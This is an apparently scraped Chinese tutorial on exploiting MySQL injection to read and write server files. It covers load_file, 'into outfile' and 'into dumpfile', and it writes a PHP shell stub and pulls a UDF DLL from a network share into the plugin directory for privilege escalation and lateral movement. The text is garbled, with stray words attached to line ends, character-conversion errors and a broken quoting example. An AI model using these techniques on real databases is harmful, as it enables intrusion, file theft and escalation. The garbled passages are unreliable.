MySQL注入 利用系統讀、寫文件


能讀寫文件的前提

不一樣系統、不一樣的數據庫版本有細微差別,如下實驗在Windows10和Mysql 5.7.26下操做;php

1.擁有該File的讀權限 or 該目錄寫的權限
2.當前用戶的secure_file_priv屬性的值不爲NULLmysql

Windows下的設置

修改mysql.ini 文件,在[mysqld] 下添加條目: secure_file_priv =
保存,重啓mysql。linux

secure_file_priv屬性值的設置:web

  • secure_file_priv爲null 表示不容許導入導出 (5.7後爲默認值)
  • secure_file_priv指定文件夾時,表示mysql的導入導出只能發生在指定的文件夾
  • secure_file_priv沒有設置時,則表示沒有任何限制
[mysqld]
secure_file_priv=

# secure_file_priv= 表示對讀寫沒有限制
# secure_file_priv= 在基線掃描時也是一個漏洞特徵

Linux下的設置

在/etc/my.cnf的[mysqld]下面添加sql

[mysqld]
secure_file_priv=''


# 保存,重啓mysql
pkill mysqld
ps -ef | grep mysqld  
# 檢查一下進程是否被幹掉了

./mysql_safe &

沒有讀寫權限的嘗試

win:shell

use thirdweek;
create table read2_tb(word text);
insert into read2_tb(word) values (load_file('D:/test.txt'));
select * from read2_tb;


也不報錯,就是每執行一次就增長一行空值;數據庫

linxu:
報錯:The MySQL server is running with the --secure-file-priv option so it cannot execute this statementvim

確認有SQL注入後,跟進確認是否有讀寫權限

# win
show global variables LIKE "secure_file_priv";

# linux
show global variables LIKE "secure_file_priv";

read

能讀文件意味着系統敏感文件泄露,代碼被審計;讀遠程文件;windows

準備好要讀的文件
網絡

經常使用讀文件函數,mysql在不一樣版本讀取文件的函數可能會不一樣:

  • load_file()
  • load data infile()
  • system cat

load_file()

use thirdweek;
create table read2_tb(word text);
insert into read2_tb(word) values (load_file('D:/test.txt'));
select * from read2_tb;

sql> insert into read2_tb(word) values (load_file('D:/test.txt'))
[2019-08-15 10:55:11] 1 row affected in 4 ms


讀入成功。

load_file( )函數支持網絡路徑。若是你能夠將DLL複製到網絡共享中,那麼你就能夠直接加載並將它寫入磁盤。

select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

load data infile()

load data infile 'D:/test.txt' into table read2_tb;

write

寫命令能夠將一條select語句的結果寫到MySQL進程全部者擁有的徹底可寫權限的文件中。能寫文件就意味着能寫入shell, OS 區分Win\Linux之間的差異;

into outfile

將某列數據寫出

use thirdweek;
select * from read2_tb where 1=1 into outfile 'D:/test2.txt';

# D:/test2.txt 不能存在,否則報錯
[2019-08-15 11:23:11] [HY000][1086] File 'D:/test.txt' already exists

自定義shell寫出

select "123<?php ?>" into dumpfile '/home/Mysticbinary/test.so';

into dumpfile

Think about it carefully. Both of them are function writers. Are they different?
Reference:https://www.jb51.net/article/139858.htm

The difference beween outfile and dumpfile:

  • 導出的行數不同
  • 轉義輸出
  • 是否容許二進制文件

導出的行數區別

outfile

首先經過命令select * from test into outfile '/tmp/test.txt'來使用outfile導出:

經過查看官方文檔,能夠看出使用以下參數能夠進行格式調整

  • FIELDS ESCAPED BY 能夠用來對指定的字符進行轉義
  • FIELDS [OPTIONALLY] ENCLOSED BY 用來對字段值進行包裹
  • FIELDS TERMINATED BY 用來對字段值之間進行分割
    Example:select * from test into outfile '/tmp/test.txt FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY ' " 'LINES TERMINATED BY '\n'
    Example out :

dumpfile

在經過命令select * from test into dumpfile '/tmp/test.txt'來使用outfile導出:
命令執行時,命令提示超過一行

查看文件內容

經過dumpfile導出的數據行數據之間並未進行換行且只導出了部分數據。

轉義輸出

保持原數據格式

outfile

咱們使用命令 select 'a\naa\raaaa' into outfile '/tmp/test.txt' 來看一下在經常使用的寫文件場景下的結果

outfile對導出內容中的\n等特殊字符進行了轉義,而且在文件內容的末尾增長了一個新行

dumpfile

使用命令 select 'a\naa\raaaa' into dumpfile '/tmp/test.txt';

能夠看到dumpfile對文件內容是原稿寫入,未作任何轉移和增長。
基於這個緣由,在UDF提權中通常使用dumpfile進行dll文件 寫入的緣由。

二進制文件

outfile後面不能接0x開頭或者char轉換之後的路徑,只能是單引號路徑。這個問題在php注入中很棘手,由於會自動將單引號轉義成\',請千萬注意。

但dumpfile,後面的路徑能夠是單引號、0x、char轉換的字符,可是路徑中的斜槓是/而不是\

由於dumpfile容許寫二進制文件。

mysql寫shell並利用成功的前提

1.擁有上面說的3個前提
2.能寫入到可執行目錄裏面
3.能鏈接成功

利用mysql寫shell的好處

  1. 內網擴散
    數據庫通常都在內網之中,與其餘內網主機能互通,做爲一個跳板機就很理想,不過須要注意OP/DBA這種崗位對這臺SQL主機的持續監控;

  2. 提權
    通常進入主機多是低權限或者匿名用戶,可是經過SQL注入獲得的登錄用戶具備必定權限;利用SQL注入也是一種提權方式;

system + [shell command]

在mysql版本爲5.x時,除了可使用以上方式讀寫文件,還可使用命令直接讀寫文件,前提是使用linux.

# read
system cat /test.txt

# writer
system vim /web/site/www/test/a.php

注意:
1.此方法只能在本地讀取,遠程鏈接mysql時沒法使用system
2.沒法越權操做

實驗證實

$SQL1 = "select * from test_tb where name='lisi' and sex='0'";
//$SQL2 = "system date;";

$conn = getConnect();
$result = $conn->query($SQL1);
//$result = $conn->query($SQL2);

print_r($result);

在php遠程鏈接mysql,而後執行了SQL1 和 SQL2, 發現執行的system的SQL語句失敗。說明該關鍵字只能在本地的Linux Mysql上使用。

相關文章
相關標籤/搜索